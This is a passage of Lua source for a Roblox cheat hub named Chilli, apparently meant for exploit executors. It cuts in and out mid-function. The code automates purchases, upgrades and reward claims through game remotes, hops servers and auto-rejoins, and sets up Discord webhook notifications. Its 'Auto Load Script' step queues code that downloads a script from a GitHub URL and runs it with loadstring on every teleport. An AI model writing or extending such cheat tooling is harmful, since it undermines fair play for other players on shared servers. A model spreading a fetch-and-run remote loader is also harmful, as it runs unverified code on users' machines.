v36.Detail.Set({ Text = paint(color.Hint, "Add a pet to this slot") })
end
table.insert(tbl34, { Kind = "slot", Slot = v36 })
end
local n51 = 0
for _, item in ipairs(items) do
n51 = n51 + item.Scale
end
local n52 = n51 / #items
local v35 = fn33(items[1].Category, n52)
local str5 = paint(color.Hint, "Average Scale")
.. " "
.. bold(paint(color.Scale, string.format("%.2fx", n52)))
if v35 then
str5 = str5 .. tbl29.Separator() .. paint(color.Weight, tbl29.FormatWeight(v35))
end
fn49(str5, false)
local v36 = nil
for _, item in ipairs(items) do
local v37 = fn34(item.Mutations)
if v37 then
if
(v36 and tbl29.MutationMultiplier({ v36 }) or 0)
< tbl29.MutationMultiplier({ v37 })
then
v36 = v37
end
end
end
local tbl36 = v36 and { v36 } or {}
fn50("PREDICTED SIZE PROBABILITIES", color.Income)
if #items == 3 then
local tbl37 = { items[1].Scale, items[2].Scale, items[3].Scale }
local tbl38 = {}
local n53 = 0
for _, v37 in ipairs(fn35()) do
local n54 = v37.weight * fn36(tbl37, v37.min, v37.max)
n53 = n53 + n54
table.insert(
tbl38,
{ Min = v37.min, Max = v37.max, Weight = n54, Color = fn32(v37.min) }
)
end
table.sort(tbl38, function(arg, arg2)
return arg.Weight > arg2.Weight
end)
local v37 = tbl38[1]
for _, v38 in ipairs(tbl38) do
local n54 = n53 > 0 and v38.Weight / n53 * 100 or 0
local str6 =
bold(paint(v38.Color, string.format("%.2fx - %.2fx", v38.Min, v38.Max)))
local v39 = fn33(items[1].Category, v38.Min)
local v40 = fn33(items[1].Category, v38.Max)
if v39 and v40 then
local weight = color.Weight
local format = string.format
local formatWeight = tbl29.FormatWeight
str6 = str6
.. tbl29.Separator()
.. paint(
weight,
format("%s - %s", tbl29.FormatWeight(v39), formatWeight(v40))
)
end
local v41 = tbl29.Separator()
local income = n54 >= 10 and color.Income
or n54 >= 1 and color.Clock
or color.Hint
local format = string.format
local str7 = n54 >= 1 and "%.1f%%" or "%.3f%%"
fn49(str6 .. v41 .. bold(paint(income, format(str7, n54))), false)
end
fn50("RESULT PREDICTION", color.Text)
local v38 = paint(color.Hint, "Predicted Mutation")
local v39 = v36 and tbl29.MutationText(tbl36) or paint(color.Text, "Normal")
fn49(v38 .. " " .. v39, false)
if v37 then
fn49(
paint(color.Hint, "Estimated Value")
.. " "
.. bold(
paint(
color.Income,
tbl29.FormatRate(tbl29.Income(v34, v37.Min, tbl36))
.. " ~ "
.. tbl29.FormatRate(tbl29.Income(v34, v37.Max, tbl36))
)
)
.. tbl29.Separator()
.. paint(color.Hint, "at ")
.. bold(
paint(v37.Color, string.format("%.2fx - %.2fx", v37.Min, v37.Max))
),
false
)
end
local v40 = nil
for _, v41 in ipairs(tbl38) do
if not v40 or v41.Max > v40.Max then
v40 = v41
end
end
if v40 then
fn49(
paint(color.Hint, "Best Case")
.. " "
.. bold(
paint(v40.Color, string.format("%.2fx - %.2fx", v40.Min, v40.Max))
)
.. " "
.. bold(
paint(
color.Income,
tbl29.FormatRate(tbl29.Income(v34, v40.Max, tbl36))
)
),
false
)
end
else
fn49(
paint(
color.Hint,
string.format(
"Load %d more of the same species to see the odds",
3 - #v33.Items
)
),
false
)
end
end
for i = n49 + 1, #tbl33 do
tbl33[i].Set({ Visible = false })
end
for i = n50 + 1, #tbl32 do
tbl32[i].Frame.Set({ Visible = false })
end
fn47()
n48 = 2
end
if not tbl29.Ready then
v30:CreateText({
Name = "Fuse Predictor",
Text = "Update the Chilli Library to use the predictor canvas.",
})
else
do
local v33 = v30:CreateCanvas({
Name = "Fuse Predictor",
Layout = "free",
Style = {
TextScale = 0.84,
LineHeight = 1.1,
MinLines = 16,
MaxLines = 34,
BackgroundTransparency = 0.5,
ScrollBarColor = Color3.fromRGB(170, 174, 184),
TextColor = Color3.fromRGB(255, 255, 255),
TextStrokeTransparency = 0.7,
},
Build = function(arg)
fn41(arg)
if type(tbl29.RequestEggRefresh) == "function" then
tbl29.RequestEggRefresh()
end
end,
})
tbl29.RefreshFuse = fn49
tbl29.PlaceFuse = function()
if n48 > 0 or flag6 then
if 0 < n48 then
n48 = n48 - 1
end
pcall(fn47)
end
end
fn6(function()
v33:Destroy()
end)
end
end
end
do
local v31 = v2:CreateTab({ Name = "Progress", SectionsExpanded = true })
:CreateSection({ Name = "Auto Progression", Expanded = true })
local tbl30 = {}
local tbl31 = {
Remote = function(arg)
local v32 = tbl30[arg]
if v32 ~= nil then
local v33 = v32 or nil
return v33
end
local v33 = networking:FindFirstChild(arg)
local v34 = tbl30
v34[arg] = v33 or false
return v33
end,
}
tbl31.Invoke = function(arg, ...)
local v32 = tbl31.Remote(arg)
if not v32 or not v32:IsA("RemoteFunction") then
return false, nil
end
local ok, result = pcall(v32.InvokeServer, v32, ...)
return ok, result
end
tbl31.Fire = function(arg, ...)
local v32 = tbl31.Remote(arg)
if not v32 or not v32:IsA("RemoteEvent") then
return false
end
return pcall(v32.FireServer, v32, ...)
end
local function fn32()
local save6 = tbl.Save
if type(save6) ~= "table" or type(save6.Get) ~= "function" then
return nil
end
local ok, result = pcall(save6.Get)
ok = ok and type(result) == "table"
if not ok then
result = ok
end
result = result or nil
return result
end
tbl31.SaveData = fn32
local tbl32 = { "Money", "Cash", "Coins", "Currency", "Balance" }
tbl31.Money = function()
local v32 = fn32()
if v32 then
for _, v33 in ipairs(tbl32) do
local num = tonumber(v32[v33])
if num then
return num
end
end
end
local leaderstats = localPlayer:FindFirstChild("leaderstats")
if leaderstats then
for _, v33 in ipairs(tbl32) do
local v34 = leaderstats:FindFirstChild(v33)
if v34 and tonumber(v34.Value) then
return tonumber(v34.Value)
end
end
end
return nil
end
tbl31.AddWorker = tbl2.Add
tbl31.Backoff = tbl2.Backoff
local tbl33 = {
"Money",
"BaseUpgradeLevel",
"TreadmillUpgradeLevel",
"TrailInventory",
"PendingOfflineMoney",
}
local save6 = tbl.Save
if type(save6) == "table" and type(save6.FieldSignal) == "function" then
for _, v32 in ipairs(tbl33) do
local ok, result = pcall(save6.FieldSignal, v32)
ok = ok and type(result) == "table"
ok = ok and type(result.Connect) == "function"
if ok then
local ok2, result2 = pcall(result.Connect, result, function()
tbl2.Wake()
end)
ok2 = ok2 and result2
if ok2 then
fn6(function()
pcall(function()
result2:Disconnect()
end)
end)
end
end
end
end
local v32 = nil
local v33 = nil
local tbl34 = {}
local function fn33()
local v34 = fn3(function()
return ReplicatedStorage.Data.Trails
end)
local directory = type(v34) == "table" and v34.Directory or nil
if type(directory) ~= "table" then
return {}
end
local tbl35 = {}
for k, v35 in pairs(directory) do
if type(v35) == "table" then
local insert = table.insert
local tbl36 = {}
local v36 = tostring
local id = v35._id
if id then
k = id
end
tbl36.Id = v36(k)
tbl36.Price = tonumber(v35.Price) or math.huge
insert(tbl35, tbl36)
end
end
table.sort(tbl35, function(arg, arg2)
return arg.Price < arg2.Price
end)
return tbl35
end
local function fn34(arg)
if not tbl23.ReadToggle(v32, false) then
return false
end
local v34 = v33
if not v33 then
v34 = fn33()
end
v33 = v34
local v35 = tbl31.SaveData()
if not v35 or #v33 == 0 then
return false
end
local trailInventory = type(v35.TrailInventory) == "table" and v35.TrailInventory or {}
local n28 = tonumber(v35.Money) or 0
for _, v36 in ipairs(v33) do
if trailInventory[v36.Id] ~= true and not tbl34[v36.Id] and v36.Price <= n28 then
local AskPurchase, v37 = tbl31.Invoke("RF/Trailwear/AskPurchase", v36.Id)
AskPurchase = AskPurchase and v37 ~= false
if AskPurchase then
return true
end
tbl34[v36.Id] = true
tbl31.Backoff(arg)
return false
end
end
return false
end
v32 = v31:CreateToggle({
Name = "Auto Buy Trail",
Note = "Automatically buy available trails when affordable",
Default = false,
Callback = function()
table.clear(tbl34)
v33 = nil
end,
})
tbl31.AddWorker(fn34)
local v34 = nil
local function fn35()
if not tbl23.ReadToggle(v34, false) then
return false
end
local v35 = tbl31.SaveData()
if not v35 then
return false
end
local v36 = fn3(function()
return ReplicatedStorage.Data.Bases
end)
local bases = type(v36) == "table" and v36.BASES or nil
if type(bases) ~= "table" then
return false
end
local n28 = tonumber(v35.BaseUpgradeLevel) or 0
local flag6 = nil
if type(v36.GetMaxBaseLevel) == "function" then
local ok, result = pcall(v36.GetMaxBaseLevel)
ok = ok and tonumber(result)
flag6 = ok or nil
end
flag6 = flag6 and n28 >= flag6
if flag6 then
return false
end
local v37 = bases[n28 + 1]
local num = type(v37) == "table" and tonumber(v37.Cost) or nil
if num then
num = (tonumber(v35.Money) or 0) >= num
end
if num then
return tbl31.Fire("RE/Homestead/AskBaseTierRaise")
end
return false
end
v34 = v31:CreateToggle({
Name = "Auto Upgrade Base",
Note = "Automatically upgrade base when money is available",
Default = false,
})
tbl31.AddWorker(fn35)
local v35 = nil
local function fn36()
if not tbl23.ReadToggle(v35, false) then
return false
end
local v36 = tbl31.SaveData()
if not v36 then
return false
end
local v37 = fn3(function()
return ReplicatedStorage.Data.Treadmills
end)
if type(v37) ~= "table" or type(v37.GetByUpgradeLevel) ~= "function" then
return false
end
local n28 = tonumber(v36.TreadmillUpgradeLevel) or 0
local ok, result = pcall(v37.GetByUpgradeLevel, n28 + 1)
if not ok or type(result) ~= "table" then
return false
end
local id = result._id
local huge = tonumber(result.Price) or math.huge
local flag6 = type(id) == "string"
if flag6 then
flag6 = (tonumber(v36.Money) or 0) >= huge
end
if flag6 then
local AskTierRaise, v38 = tbl31.Invoke("RF/Treadmill/AskTierRaise", id)
AskTierRaise = AskTierRaise and v38 ~= false
return AskTierRaise
end
return false
end
v35 = v31:CreateToggle({
Name = "Auto Upgrade Treadmill",
Note = "Automatically upgrade treadmill when money is available",
Default = false,
})
tbl31.AddWorker(fn36)
local n28 = 15
local v36 = nil
local n29 = 15
local now = os.clock()
local function fn37()
if not tbl23.ReadToggle(v36, false) then
return false
end
local now2 = os.clock()
n29 = n29 + now2 - now
now = now2
local v37 = tbl31.SaveData()
local num = v37 and tonumber(v37.PendingOfflineMoney) or nil
if num == nil then
local PendingCheck, v38 = tbl31.Invoke("RF/AwayEarnings/PendingCheck")
PendingCheck = PendingCheck and v38 ~= false
num = PendingCheck and v38 ~= nil and 1 or 0
end
local flag6 = false
if 0 < num then
local v38
flag6, v38 = tbl31.Invoke("RF/AwayEarnings/AskCollect")
flag6 = flag6 and v38 ~= false
end
if n28 <= n29 then
n29 = 0
local AskRedeemAll, v38 = tbl31.Invoke("RF/Codex/AskRedeemAll")
flag6 = flag6 or AskRedeemAll and v38 ~= false
tbl31.Invoke("RF/Codex/AskRedeemLimitedEgg")
end
return flag6
end
v36 = v31:CreateToggle({
Name = "Auto Claim",
Note = "Claim offline money & index rewards",
Default = false,
Callback = function()
n29 = n28
end,
})
tbl31.AddWorker(fn37)
end
local fn32
fn32 = function(arg, arg2)
if type(v.Notify) == "function" then
pcall(v.Notify, arg, arg2, 5)
end
end
do
local v31
v31 = v2:CreateTab({ Name = "Server", SectionsExpanded = true })
:CreateSection({ Name = "Server", Expanded = true })
local TeleportService
TeleportService = game:GetService("TeleportService")
local HttpService
HttpService = game:GetService("HttpService")
local GuiService
GuiService = game:GetService("GuiService")
do
local function fn33()
if type(queue_on_teleport) == "function" then
return queue_on_teleport
end
if type(queueonteleport) == "function" then
return queueonteleport
end
if type(syn) == "table" and type(syn.queue_on_teleport) == "function" then
return syn.queue_on_teleport
end
if type(fluxus) == "table" and type(fluxus.queue_on_teleport) == "function" then
return fluxus.queue_on_teleport
end
return nil
end
local function fn34(arg)
pcall(function()
TeleportService:SetTeleportSetting("__ChilliAutoLoadScriptEnabled", arg)
end)
if not arg then
return true
end
local v32 = fn33()
if not v32 then
return false
end
if rawget(_G, "__ChilliAutoLoadQueued") ~= true then
if
not pcall(
v32,
'local TeleportService = game:GetService("TeleportService")\nlocal enabled = true\npcall(function()\n enabled = TeleportService:GetTeleportSetting("__ChilliAutoLoadScriptEnabled") == true\nend)\nif enabled then\n if not game:IsLoaded() then\n game.Loaded:Wait()\n end\n pcall(function()\n local player = game:GetService("Players").LocalPlayer\n if player and not player.Character then\n player.CharacterAdded:Wait()\n end\n end)\n task.wait(3)\n local ok, source = pcall(function()\n return game:HttpGet("https://raw.githubusercontent.com/tienkhanh1/spicy/main/Chilli.lua")\n end)\n if ok and type(source) == "string" then\n local chunk = loadstring(source)\n if chunk then\n chunk()\n end\n end\nend\n'
)
then
return false
end
_G.__ChilliAutoLoadQueued = true
end
return true
end
local v32 = nil
local function fn35()
local v33 = v32
if v32 then
v33 = tbl4.Toggle(v32, false)
end
if v33 then
fn34(true)
end
end
v32 = v31:CreateToggle({
Name = "Auto Load Script",
Default = true,
Callback = function(arg)
local flag6 = arg == true
if not fn34(flag6) and flag6 then
task.defer(function()
fn34(false)
local flag7 = v32
if v32 then
flag7 = type(v32.Set) == "function"
end
if flag7 then
pcall(v32.Set, v32, false, false)
end
fn32(
"Auto Load Unavailable",
"This executor does not support queue on teleport."
)
end)
end
end,
})
local str5 = "Least Players"
local n28 = 10
local n29 = 0
local v33 = nil
local tbl30 = {}
local flag6 = false
local n30 = 0
local flag7 = false
local v34 = nil
local str6 = ""
local n31 = 0
local n32 = 60
local function fn36(arg)
n29 = 0
v33 = nil
if arg then
tbl30[arg] = true
end
end
pcall(function()
TeleportService.TeleportInitFailed:Connect(function(arg, arg2, arg3)
if not v33 then
return
end
fn36(v33)
flag7 = true
if not flag6 then
local v35 = fn32
local v36 = tostring
local flag8 = arg3 ~= ""
if not flag8 then
arg3 = flag8
end
arg3 = arg3 or arg2
v35("Server Hop Failed", v36(arg3))
end
end)
end)
local function fn37(arg)
local v35 = tostring
local jobId = game.JobId or ""
local v36 = v35(jobId)
local tbl31 = {}
local flag8 = arg == "Random"
local str7 = arg == "Least Players" and "Asc" or "Desc"
local n33 = flag8 and 3 or 6
local nextPageCursor = nil
for i = 1, n33 do
local str8 = string.format(
"https://games.roblox.com/v1/games/%d/servers/Public?sortOrder=%s&excludeFullGames=true&limit=100",
game.PlaceId,
str7
)
if nextPageCursor and nextPageCursor ~= "" then
str8 = str8 .. "&cursor=" .. HttpService:UrlEncode(nextPageCursor)
end
local ok, result = pcall(function()
local v37 = game
return HttpService:JSONDecode(v37:HttpGet(str8))
end)
local v37 = result
if not ok or type(v37) ~= "table" then
return tbl31, false
end
local v38 = ipairs
local data = v37.data or {}
for _, v39 in v38(data) do
local v40 = tostring
local id = v39.id or ""
local v41 = v40(id)
local huge = tonumber(v39.playing) or math.huge
local n34 = tonumber(v39.maxPlayers) or 0
if v41 ~= "" and v41 ~= v36 and huge < n34 then
local n35 = #tbl31 + 1
tbl31[n35] = { Id = v41, Playing = huge, Room = n34 - huge }
end
end
if #tbl31 > 0 and not flag8 then
break
end
nextPageCursor = v37.nextPageCursor
if not nextPageCursor or nextPageCursor == "" then
break
end
end
return tbl31, true
end
local function fn38(arg)
local flag8 = v34
if v34 then
flag8 = str6 == arg
end
flag8 = flag8 and os.clock() - n31 < n32
local v35
if flag8 then
v35 = v34
else
local v36
v35, v36 = fn37(arg)
if not v36 then
return "fetch"
end
v34 = v35
str6 = arg
n31 = os.clock()
end
local function fn38(arg2)
local tbl31 = {}
for _, v36 in ipairs(v35) do
if not tbl30[v36.Id] and v36.Room >= arg2 then
local n33 = #tbl31 + 1
tbl31[n33] = v36
end
end
return tbl31
end
local v36 = fn38(2)
if #v36 == 0 then
v36 = fn38(1)
end
if #v36 == 0 and next(tbl30) ~= nil then
table.clear(tbl30)
v36 = fn38(1)
end
if #v36 == 0 then
fn36(nil)
v34 = nil
return "empty"
end
local id
if arg == "Random" then
id = v36[math.random(1, #v36)].Id
else
table.sort(v36, function(arg2, arg3)
if arg == "Least Players" then
return arg2.Playing < arg3.Playing
end
return arg2.Playing > arg3.Playing
end)
id = v36[1].Id
end
flag7 = false
v33 = id
n29 = os.clock() + n28
pcall(fn35)
if
not pcall(function()
TeleportService:TeleportToPlaceInstance(game.PlaceId, id, localPlayer)
end)
then
fn36(id)
return "failed"
end
local n33 = os.clock() + n28
while os.clock() < n33 do
if flag7 then
return "denied"
end
task.wait(0.25)
end
return "waiting"
end
tbl4.ServerHop = fn38
v31:CreateDropdown({
Name = "Server Hop Mode",
Options = { "Most Players", "Random", "Least Players" },
Default = "Least Players",
Callback = function(arg)
local v35 = tostring
local str7 = arg or "Least Players"
str5 = v35(str7)
end,
})
v31:CreateButton({
Name = "Server Hop",
ButtonText = "Hop",
Callback = function()
n30 = n30 + 1
local v35 = n30
task.spawn(function()
flag6 = true
local n33 = 0
while v35 == n30 do
n33 = n33 + 1
local v36 = fn38(str5)
if not (v36 == "waiting" or v35 ~= n30) then
if v36 == "empty" then
v34 = nil
table.clear(tbl30)
end
if n33 % 10 == 0 then
fn32(
"Server Hop",
string.format("Every server was full so far, %d tries.", n33)
)
end
task.wait(v36 == "fetch" and 1 or 0.1)
continue
end
break
end
if v35 == n30 then
flag6 = false
end
end)
end,
})
end
do
local n28 = 8
local n29 = 0
local str5 = ""
local v32 = nil
local function fn33()
return os.clock() < n29
end
local function fn34(arg)
local n30 = arg and os.clock() + n28 or 0
n29 = n30
end
local function fn35(arg)
local v33 = tostring
arg = arg or ""
local match = v33(arg):match("^%s*(.-)%s*$")
local match2 = match:match(
"%x%x%x%x%x%x%x%x%-%x%x%x%x%-%x%x%x%x%-%x%x%x%x%-%x%x%x%x%x%x%x%x%x%x%x%x"
) or match
return match2
end
local function fn36()
local v33 = str5
local v34 = str5
if v32 then
local ok, result = pcall(function()
local controller = v32._controller
local getValue = controller and controller.GetValue and controller.GetValue()
return getValue
end)
v34 = result
ok = ok and type(v34) == "string"
ok = ok and v34 ~= ""
if not ok then
local exitTo = nil
for _, v35 in ipairs({ "Get", "GetValue", "GetText" }) do
local ok2, result2 = pcall(function()
return v32[v35]
end)
local v36 = result2
ok2 = ok2 and type(v36) == "function"
if ok2 then
local ok3, result3 = pcall(v36, v32)
v34 = result3
ok3 = ok3 and type(v34) == "string"
ok3 = ok3 and v34 ~= ""
if ok3 then
exitTo = 1
break
else
end
else
end
end
if exitTo == 1 then
else
v34 = v33
end
end
end
local v35 = fn35(v34)
if v35 == "" then
local ok, result = pcall(function()
local v36 = getclipboard or readclipboard or getrbxclipboard
local flag6 = type(v36) == "function" and v36() or nil
return flag6
end)
ok = ok and type(result) == "string"
if ok then
v35 = fn35(result)
end
end
return v35
end
local function fn37(arg)
if not v32 then
return
end
pcall(function()
local controller = v32._controller
if controller and controller.SetValue then
controller.SetValue(arg, false)
end
end)
str5 = fn35(arg)
end
local function fn38(arg)
fn34(true)
pcall(AutoLoadBeforeTeleport)
if
not pcall(function()
if game.JobId ~= "" then
TeleportService:TeleportToPlaceInstance(
game.PlaceId,
game.JobId,
localPlayer
)
else
TeleportService:Teleport(game.PlaceId, localPlayer)
end
end)
then
fn34(false)
fn32(arg, "Roblox could not rejoin the server.")
end
end
pcall(function()
TeleportService.TeleportInitFailed:Connect(function(arg, arg2, arg3)
if not fn33() then
return
end
fn34(false)
local v33 = fn32
local v34 = tostring
local flag6 = arg3 ~= ""
if not flag6 then
arg3 = flag6
end
if arg3 then
arg2 = arg3
end
v33("Teleport Failed", v34(arg2))
end)
end)
v32 = v31:CreateInput({
Name = "Job ID",
Placeholder = "Paste a server Job ID...",
Default = "",
MaxLength = 100,
Callback = function(arg)
str5 = fn35(arg)
end,
})
if v32 then
v32._configIgnored = true
if v32.State and not v32.State._registered then
v32.State._configIgnored = true
end
end
v31:CreateButton({
Name = "Join Job ID",
ButtonText = "Join",
Callback = function()
if fn33() then
fn32("Join Job ID Failed", "A teleport is already running, try again shortly.")
return
end
local v33 = fn36()
if v33 == "" then
fn32("Join Job ID Failed", "Paste a valid Job ID first.")
return
end
fn34(true)
pcall(AutoLoadBeforeTeleport)
if
not pcall(function()
TeleportService:TeleportToPlaceInstance(game.PlaceId, v33, localPlayer)
end)
then
fn34(false)
fn32("Join Job ID Failed", "Roblox could not join that server.")
end
end,
})
v31:CreateButton({
Name = "Copy Current Job ID",
ButtonText = "Copy",
Callback = function()
local v33 = tostring
local jobId = game.JobId or ""
local v34 = v33(jobId)
fn37(v34)
local v35 = setclipboard or toclipboard
local ok = type(v35) == "function" and pcall(v35, v34) or false
local v36 = fn32
ok = ok and "Job ID Copied"
v36(ok or "Job ID Shown", v34)
end,
})
v31:CreateButton({
Name = "Rejoin Server",
ButtonText = "Rejoin",
Callback = function()
if fn33() then
fn32("Rejoin Failed", "A teleport is already running, try again shortly.")
return
end
fn38("Rejoin Failed")
end,
})
local tbl30 = { Option = nil, Fired = false, TeleportingAt = 0 }
local function fn39()
local robloxPromptGui = CoreGui:FindFirstChild("RobloxPromptGui")
local promptOverlay = robloxPromptGui
and robloxPromptGui:FindFirstChild("promptOverlay")
local flag6 = promptOverlay ~= nil
and promptOverlay:FindFirstChild("ErrorPrompt") ~= nil
return flag6
end
pcall(function()
local connection = localPlayer.OnTeleport:Connect(function(arg)
if arg == Enum.TeleportState.Failed then
tbl30.TeleportingAt = 0
else
tbl30.TeleportingAt = os.clock()
end
end)
fn6(function()
pcall(function()
connection:Disconnect()
end)
end)
end)
tbl30.Option = v31:CreateToggle({ Name = "Auto Rejoin When Disconnect", Default = true })
local function fn40(arg)
if
tbl30.Fired
or tbl30.Option == nil
or not tbl4.Toggle(tbl30.Option, false)
or fn33()
then
return
end
local flag6 = tbl30.TeleportingAt > 0
if flag6 then
local teleportingAt = tbl30.TeleportingAt
flag6 = os.clock() - teleportingAt < 60
end
if flag6 then
return
end
local lower = string.lower
local v33 = tostring
arg = arg or ""
local v34 = lower(v33(arg))
if v34 == "" or string.find(v34, "teleport", 1, true) then
return
end
local errorCode = nil
pcall(function()
errorCode = GuiService:GetErrorCode()
end)
if
errorCode == Enum.ConnectionError.DisconnectDuplicatePlayer
or string.find(v34, "banned", 1, true)
or string.find(v34, "same account", 1, true)
then
return
end
tbl30.Fired = true
local placeId = game.PlaceId
local v35 = tostring
local jobId = game.JobId or ""
local v36 = v35(jobId)
local flag7 = string.find(v34, "shut", 1, true) ~= nil
or string.find(v34, "no longer", 1, true) ~= nil
or string.find(v34, "closed", 1, true) ~= nil
pcall(AutoLoadBeforeTeleport)
local v37 = fn32
local str6 = flag7 and "Server closed, joining another one."
or "Disconnected, rejoining now."
v37("Auto Rejoin", str6)
task.spawn(function()
local n30 = 0
while true do
n30 = n30 + 1
local flag8 = not flag7 and v36 ~= "" and n30 <= 2
pcall(function()
if flag8 then
TeleportService:TeleportToPlaceInstance(placeId, v36, localPlayer)
else
TeleportService:Teleport(placeId, localPlayer)
end
end)
task.wait(flag8 and 4 or 5)
end
end)
end
pcall(function()
local connection = GuiService.ErrorMessageChanged:Connect(function(arg)
task.wait(0.3)
if fn39() then
fn40(arg)
end
end)
fn6(function()
pcall(function()
connection:Disconnect()
end)
end)
end)
task.spawn(function()
local robloxPromptGui = CoreGui:WaitForChild("RobloxPromptGui", 30)
local promptOverlay = robloxPromptGui
and robloxPromptGui:WaitForChild("promptOverlay", 30)
if not promptOverlay then
return
end
local connection = promptOverlay.ChildAdded:Connect(function(arg)
if arg.Name ~= "ErrorPrompt" then
return
end
task.wait(0.2)
local str6 = ""
for _, descendant in ipairs(arg:GetDescendants()) do
if descendant:IsA("TextLabel") and descendant.Name == "ErrorMessage" then
str6 = descendant.Text
end
end
if str6 == "" then
pcall(function()
str6 = GuiService:GetErrorMessage()
end)
end
fn40(str6 ~= "" and str6 or "disconnected")
end)
fn6(function()
pcall(function()
connection:Disconnect()
end)
end)
end)
end
local tbl30
do
local AssetService = game:GetService("AssetService")
local request_ = syn and syn.request or http and http.request or http_request or request
tbl30 = {
Url = "",
Stolen = false,
PingEveryone = false,
Queue = {},
Sending = false,
Notified = {},
Icons = {},
Pngs = {},
Crc = {},
Known = nil,
Carry = nil,
Avatar = nil,
Disposed = false,
Path = "ChilliLibrary/SAE_Webhook.txt",
Saved = "",
LoadedAt = os.clock(),
Input = nil,
Dot = " \194\183 ",
MaxSide = 200,
Logo = "https://media.discordapp.net/attachments/1181785068637790221/1551685385665380432/chilli.png?ex=6ab2df20&is=6ab18da0&hm=5ca4b16854493c689912c068c29354752a0f2ea0490d5b22cbd9acf7d26ed7eb&=&format=webp&quality=lossless",
Emoji = {
Value = "<:sae_value:1551645680718581871>",
Size = "<:sae_size:1551645444285800558>",
Mutation = "<:sae_mutation:1551677914146275478>",
Area = "<:sae_area:1551675973328441416>",
},
}
pcall(function()
if type(readfile) ~= "function" then
return
end
if type(isfile) == "function" and not isfile(tbl30.Path) then
return
end
local gsub = string.gsub
local v32 = tostring
local str5 = readfile(tbl30.Path) or ""
local v33 = gsub(v32(str5), "%s", "")
tbl30.Saved = v33
tbl30.Url = v33
end)
for i = 0, 255 do
local v32 = i
for i2 = 1, 8 do
if bit32.band(v32, 1) == 1 then
v32 = bit32.bxor(3988292384, bit32.rshift(v32, 1))
else
v32 = bit32.rshift(v32, 1)
end
end
tbl30.Crc[i] = v32
end
local function fn33(arg)
if type(arg) ~= "string" then
return false
end
for _, v32 in ipairs({
"discord%.com",
"discordapp%.com",
"ptb%.discord%.com",
"canary%.discord%.com",
}) do
if string.match(arg, "^https://" .. v32 .. "/api/webhooks/%d+/[%w%-_]+$") then
return true
end
end
return false
end
local function fn34(arg)
if type(request_) ~= "function" then
return nil
end
local ok, result = pcall(request_, { Url = arg, Method = "GET" })
if not ok or type(result) ~= "table" or tonumber(result.StatusCode) ~= 200 then
return nil
end
local ok2, result2 = pcall(HttpService.JSONDecode, HttpService, tostring(result.Body))
if not ok2 then
result2 = ok2
end
result2 = result2 or nil
return result2
end
local function fn35(arg, arg2)
local flag6 = type(arg) == "table" and type(arg.data) == "table" and arg.data[1] or nil
if
type(flag6) ~= "table"
or flag6.state ~= "Completed"
or type(flag6.imageUrl) ~= "string"
or flag6.imageUrl == ""
then
return nil
end
arg2 = arg2 and not string.find(flag6.imageUrl, "/Image/", 1, true)
if arg2 then
return nil
end
return flag6.imageUrl
end
local function fn36(arg)
if tbl30.Icons[arg] == nil then
local icons = tbl30.Icons
icons[arg] = fn35(
fn34(
"https://thumbnails.roblox.com/v1/assets?assetIds="
.. arg
.. "&returnPolicy=PlaceHolder&size=420x420&format=Png&isCircular=false"
),
true
) or false
end
local v32 = tbl30.Icons[arg] or nil
return v32
end
local function fn37()
if tbl30.Avatar == nil then
local v32 = tbl30
v32.Avatar = fn35(
fn34(
"https://thumbnails.roblox.com/v1/users/avatar-headshot?userIds="
.. localPlayer.UserId
.. "&size=150x150&format=Png&isCircular=false"
)
) or false
end
local avatar = tbl30.Avatar or nil
return avatar
end
local function fn38(arg, arg2, arg3)
local crc = tbl30.Crc
local n28 = 4294967295
for i = arg2, arg3 do
local rshift = bit32.rshift
n28 = bit32.bxor(
crc[bit32.band(bit32.bxor(n28, buffer.readu8(arg, i)), 255)],
rshift(n28, 8)
)
end
return bit32.bxor(n28, 4294967295)
end
local function fn39(arg, arg2, arg3)
local n28 = arg2 * 4 + 1
local n29 = n28 * arg3
local n30 = 2 + math.ceil(n29 / 65535) * 5 + n29 + 4
local v32 = buffer.create(45 + n30 + 12)
local n31 = 0
local function fn39(arg4)
buffer.writeu8(v32, n31, arg4)
n31 = n31 + 1
end
local function fn40(arg4)
fn39(bit32.band(bit32.rshift(arg4, 24), 255))
fn39(bit32.band(bit32.rshift(arg4, 16), 255))
fn39(bit32.band(bit32.rshift(arg4, 8), 255))
fn39(bit32.band(arg4, 255))
end
local function fn41(arg4, arg5, arg6, arg7)
fn39(arg4)
fn39(arg5)
fn39(arg6)
fn39(arg7)
end
for _, v33 in ipairs({ 137, 80, 78, 71, 13, 10, 26, 10 }) do
fn39(v33)
end
fn40(13)
fn41(73, 72, 68, 82)
fn40(arg2)
fn40(arg3)
fn39(8)
fn39(6)
fn39(0)
fn39(0)
fn39(0)
fn40(fn38(v32, n31, n31 - 1))
local v33 = buffer.create(n29)
for i = 0, arg3 - 1 do
buffer.writeu8(v33, i * n28, 0)
buffer.copy(v33, i * n28 + 1, arg, i * arg2 * 4, arg2 * 4)
end
fn40(n30)
local v34 = n31
fn41(73, 68, 65, 84)
fn39(120)
fn39(1)
local n32 = 0
while n32 < n29 do
local n33 = math.min(65535, n29 - n32)
fn39(n32 + n33 >= n29 and 1 or 0)
fn39(bit32.band(n33, 255))
fn39(bit32.rshift(n33, 8))
local v35 = bit32.band(bit32.bnot(n33), 65535)
fn39(bit32.band(v35, 255))
fn39(bit32.rshift(v35, 8))
buffer.copy(v32, n31, v33, n32, n33)
n31 = n31 + n33
n32 = n32 + n33
end
local n33 = 1
local n34 = 0
for i = 0, n29 - 1 do
n33 = (n33 + buffer.readu8(v33, i)) % 65521
n34 = (n34 + n33) % 65521
end
fn40(n34 * 65536 + n33)
fn40(fn38(v32, v34, n31 - 1))
fn40(0)
fn41(73, 69, 78, 68)
fn40(fn38(v32, n31, n31 - 1))
return buffer.tostring(v32)
end
local function fn40(arg)
if tbl30.Pngs[arg] ~= nil then
local v32 = tbl30.Pngs[arg] or nil
return v32
end
local ok, result = pcall(function()
local v32 =
AssetService:CreateEditableImageAsync(Content.fromUri("rbxassetid://" .. arg))
local size = v32.Size
local n28 = math.floor(size.X)
local n29 = math.floor(size.Y)
local v33 = v32:ReadPixelsBuffer(Vector2.zero, size)
pcall(function()
v32:Destroy()
end)
local n30 = math.min(1, tbl30.MaxSide / math.max(n28, n29))
local n31 = math.max(1, math.floor(n28 * n30))
local n32 = math.max(1, math.floor(n29 * n30))
local v34 = buffer.create(n31 * n32 * 4)
for i = 0, n32 - 1 do
local n33 = math.min(n29 - 1, math.floor(i / n30))
for i2 = 0, n31 - 1 do
buffer.copy(
v34,
(i * n31 + i2) * 4,
v33,
